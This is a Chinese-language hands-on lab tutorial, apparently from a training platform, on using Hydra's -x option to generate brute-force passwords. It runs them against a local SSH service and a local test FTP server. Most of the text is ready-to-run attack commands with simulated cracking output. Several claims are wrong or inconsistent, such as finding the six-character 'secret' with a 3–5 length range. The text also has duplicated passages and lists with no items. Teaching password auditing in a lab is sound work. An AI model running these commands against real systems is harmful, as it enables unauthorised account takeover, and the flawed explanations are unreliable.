简介
在本实验中,你将学习如何使用 Hydra 生成用于暴力破解攻击的密码,并运用各种密码生成技术。你将重点学习使用 Hydra 的 -x
选项,根据不同的标准(例如长度、字符集和常见的密码模式)创建密码。
本实验将指导你完成多个密码生成场景,包括基本字符集、混合字符组合、数字模式以及现实世界中的密码结构。你将以本地主机上的虚拟 FTP 服务器为目标,练习这些技术,并学习如何有效地分析暴力破解攻击的结果。
在本实验中,你将学习如何使用 Hydra 生成用于暴力破解攻击的密码,并运用各种密码生成技术。你将重点学习使用 Hydra 的 -x
选项,根据不同的标准(例如长度、字符集和常见的密码模式)创建密码。
本实验将指导你完成多个密码生成场景,包括基本字符集、混合字符组合、数字模式以及现实世界中的密码结构。你将以本地主机上的虚拟 FTP 服务器为目标,练习这些技术,并学习如何有效地分析暴力破解攻击的结果。
本步骤将教你如何使用 Hydra 的 -x
选项基于指定格式生成密码。当你知道潜在密码结构的一些信息(例如已知长度范围或字符集)时,此功能非常有用。
Hydra 的 -x
选项允许你定义生成密码的最小长度和最大长度,以及使用的字符集。语法为 -x min:max:charset
。
让我们从一个简单的例子开始。你将生成长度在 6 到 8 个字符之间的密码,只使用小写字母。
首先,确保你位于 ~/project
目录。这是你启动实验时的默认目录。
cd ~/project
现在,你将使用 Hydra 生成密码。为了演示,你将以本地主机的 SSH 服务为目标。这将允许你查看密码生成过程,而无需实际执行成功的攻击(因为我们使用的是不存在的用户)。
在终端执行以下命令:
hydra -l testuser -vV -x 3:5:a-z localhost ssh
让我们分解这个命令:
hydra
: 执行 Hydra 工具的命令。-l testuser
: 指定要使用的用户名。这里使用 "testuser" 作为占位符(此用户可能不存在)。-vV
: 启用详细输出,显示每次尝试。-x 3:5:a-z
: 这是关键部分。它告诉 Hydra 生成密码,其:
3
: 最小长度为 3 个字符。5
: 最大长度为 5 个字符。a-z
: 只使用小写字母 (a-z)。其他选项包括 A-Z
(大写)、0-9
(数字),你还可以将它们组合起来,例如 a-zA-Z0-9
用于小写、大写字母和数字。localhost
: 目标主机。ssh
: 要攻击的 SSH 服务。你将看到 Hydra 正在尝试使用生成的密码进行连接,例如 "aaa"、"aaaa"、"aaaaa"、"aab" 等。使用 -x
选项时,Hydra 会自动根据指定条件生成密码。
注意: 使用小写字母生成 3-5 个字符的密码的组合数量是可管理的:26³ + 26⁴ + 26⁵ ≈ 17,576 + 456,976 + 11,881,376 ≈ 1240 万个组合,这在 Hydra 的限制范围内。
重要: 使用
Ctrl+C
停止攻击,因为它可能需要很长时间才能完成。
输出将显示 Hydra 尝试连接到 SSH 服务时生成的密码。
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaaaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aab" - 1 of 1 [child 0] (0/0)
...
重要:密码组合限制
使用 Hydra 的 -x
选项时,至关重要的是要考虑将生成的密码组合总数。Hydra 内置的限制是 40 亿个密码,以防止不切实际的暴力破解尝试。
以下是一些组合计数示例:
在运行之前,请始终计算组合数:charset_size^min_length + ... + charset_size^max_length
本步骤将使用 Hydra 的密码生成功能攻击虚拟 FTP 服务器。你将使用 -x
选项“即时”生成的密码列表。
首先,你需要设置一个简单的 FTP 服务器进行测试。你将使用 python3-pyftpdlib
,这是一个 Python 的轻量级 FTP 服务器库。
如果尚未安装 python3-pyftpdlib
,请安装:
sudo apt update
sudo apt install -y python3-pyftpdlib
在后台启动 FTP 服务器,端口为 2121,服务于 ~/project
目录下的文件。-w
选项允许写入访问。
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
nohup ... &
部分在后台运行命令,并防止在关闭终端时停止。> /dev/null 2>&1
将标准输出和标准错误重定向到 /dev/null
,保持你的终端干净。-u testuser -P secret
选项设置了一个具有密码 "secret" 的用户,该用户可以访问服务器。
现在,你将使用 Hydra 攻击此 FTP 服务器。你将使用 -x
选项生成密码并尝试以用户 "testuser" 登录。
在终端执行以下命令:
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
让我们分解这个命令:
hydra
: Hydra 命令行工具。-l testuser
: 指定要使用的用户名: "testuser"。-vV
: 启用详细输出,显示每次登录尝试。-x 4:6:a-z
: 这告诉 Hydra 生成密码,其:
4
: 最小长度为 4 个字符。6
: 最大长度为 6 个字符。a-z
: 只使用小写字母 (a-z)。127.0.0.1
: 目标主机 (本地主机)。你使用 127.0.0.1
而不是 localhost
,以避免容器内的潜在 DNS 解析问题。ftp
: 要攻击的服务 (FTP)。-s 2121
: 指定端口号。你正在攻击运行在端口 2121 上的 FTP 服务器。你应该看到 Hydra 正在尝试使用生成的密码进行登录。由于 FTP 服务器配置了特定凭据(用户名:testuser,密码:secret),Hydra 在其暴力破解尝试中生成 "secret" 时将找到正确的密码。
重要: 使用
Ctrl+C
停止攻击,因为它可能需要很长时间才能完成。
输出将显示登录尝试,最终显示成功登录消息。
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
现在,让我们尝试一个稍微复杂一点的例子,结合小写字母和数字:
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
这将生成诸如 "aaa"、"aab"、"aac" 等密码,首先系统地遍历所有 3 个字符的组合,然后是 4 个字符的组合,最后是 5 个字符的组合。观察输出以查看生成的密码和成功登录。
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
本步骤演示了如何使用 Hydra 的 -x
选项生成密码并攻击 FTP 服务器。请记住负责任和道德地使用这些技术。
本步骤将教你如何生成包含大小写字母的密码。这是许多用户使用的常见密码模式,使其成为有效的暴力破解策略。
许多用户创建大小写混合的密码,以满足密码复杂性要求。理解这种模式可以显著提高你的暴力破解成功率。
确保你位于 ~/project
目录,并且你的 FTP 服务器仍在运行:
cd ~/project
让我们使用大小写混合字母生成密码。执行以下命令:
hydra -l testuser -vV -x 3:4:a-zA-Z 127.0.0.1 ftp -s 2121
此命令使用以下方式生成密码:
a-z
: 小写字母 (a-z)A-Z
: 大写字母 (A-Z)你将看到诸如 "aaa"、"Aaa"、"aAa"、"AAa"、"aaA"、"AaA"、"aAA"、"AAA"、"aab"、"Aab" 等密码。注意 Hydra 如何系统地组合大小写字母。
让我们尝试 3-4 个字符的范围,以更清晰地看到模式:
hydra -l testuser -vV -x 3:4:a-zA-Z 127.0.0.1 ftp -s 2121
这将生成包含大小写的 3-4 个字符密码。你可以观察组合是如何进行的:
理解模式:
大小写混合密码生成遵循一种系统方法,Hydra 会尝试所有可能的字母大小写组合。这特别有效,因为:
本步骤演示了如何使用大小写混合字母生成进行暴力破解攻击,这对于使用大小写字母的密码非常有效。
本步骤将教你如何生成包含字母和数字的密码。字符数字密码非常常见,因为它在安全性与易记性之间取得了平衡。
字符数字密码是最常见的密码类型之一,因为它们:
让我们使用 Hydra 生成字符数字密码:
hydra -l testuser -vV -x 3:4:a-zA-Z0-9 127.0.0.1 ftp -s 2121
这将生成包含以下内容的密码:
a-z
: 小写字母 (a-z)A-Z
: 大写字母 (A-Z)0-9
: 数字 (0-9)生成的密码示例: "abc"、"A2b"、"123"、"aB1"、"Te1" 等。
让我们尝试一种更专注的方法,只使用小写字母和数字:
hydra -l testuser -vV -x 3:4:a-z0-9 127.0.0.1 ftp -s 2121
这将生成类似于 "aaa"、"aa1"、"a12"、"123"、"test" 等的密码。
常见的字符数字模式:
用户在创建字符数字密码时经常遵循可预测的模式:
让我们模拟用户可能使用短字符数字组合的模式:
hydra -l testuser -vV -x 4:5:a-z0-9 127.0.0.1 ftp -s 2121
本步骤演示了如何生成字符数字密码,这是现实世界场景中最常见的密码类型之一。
本步骤将教你如何生成纯数字密码。这些密码常用于 PIN 码、简单密码以及仅允许数字的系统。
数字密码经常用于:
让我们生成纯数字密码:
hydra -l testuser -vV -x 3:6:0-9 127.0.0.1 ftp -s 2121
这将生成纯数字密码,例如 "123"、"1234"、"0000"、"9999"、"5678" 等。
对于类似 PIN 码的密码(通常为 4-6 位数字),尝试:
hydra -l testuser -vV -x 4:4:0-9 127.0.0.1 ftp -s 2121
这将生成精确的 4 位数字组合,可能代表:
让我们尝试 6 位数字模式,这在较长的 PIN 码中很常见:
hydra -l testuser -vV -x 6:6:0-9 127.0.0.1 ftp -s 2121
常见的数字模式:
用户经常选择可预测的数字密码:
实际应用:
数字密码生成在针对以下目标时尤其有用:
本步骤演示了如何生成仅包含数字的密码,这在许多系统中都经常使用。
本步骤将教你如何创建包含特定符号的自定义字符集。当你知道或怀疑目标密码中使用了某些特殊字符时,此方法非常有用。
许多密码策略要求包含特殊字符,而用户通常会选择易于输入的常见符号。了解应该包含哪些符号可以提高你的暴力破解攻击效率。
让我们生成包含自定义字符集和特定符号的密码:
hydra -l testuser -vV -x '3:4:a-z0-9!@#' 127.0.0.1 ftp -s 2121
这将生成使用以下内容的密码:
a-z
: 小写字母 (a-z)0-9
: 数字 (0-9)!@#
: 特定符号示例: "abc!"、"a1@"、"te#"、"12!" 等。
让我们尝试另一组常见的符号:
hydra -l testuser -vV -x '3:4:a-z$%&' 127.0.0.1 ftp -s 2121
这使用了小写字母和符号 $、%、&。
对于可能包含更复杂符号的密码:
hydra -l testuser -vV -x '3:4:a-zA-Z0-9!@#$%^&*' 127.0.0.1 ftp -s 2121
这将创建一个包含以下内容的完整字符集:
最常见的密码符号:
根据密码分析,这些符号使用频率最高:
!
- 感叹号@
- @ 符号#
- 井号/磅符$
- 美元符号%
- 百分号^
- 插入符号&
- 与符号*
- 星号符号选择的策略:
在创建自定义字符集时,请考虑:
目标符号集:
对于特定场景,你可能使用目标符号集:
## 常用标点符号
hydra -l testuser -vV -x '3:4:a-z0-9.,;:' 127.0.0.1 ftp -s 2121
## 括号符号
hydra -l testuser -vV -x '3:4:a-z0-9()[]{}' 127.0.0.1 ftp -s 2121
## 数学符号
hydra -l testuser -vV -x '3:4:a-z0-9+-=/' 127.0.0.1 ftp -s 2121
本步骤演示了如何创建包含特定符号的自定义字符集,使你能够根据已知或怀疑的密码模式定制你的暴力破解攻击。
在本实验中,你学习了如何使用 Hydra 通过全面的分步方法生成用于暴力破解攻击的密码。你深入探索了 Hydra 的 -x
选项,涵盖了多个专门的场景,每个场景都专注于特定的密码生成技术。
你练习了不同的密码生成策略,包括:
-x
选项的语法和基本概念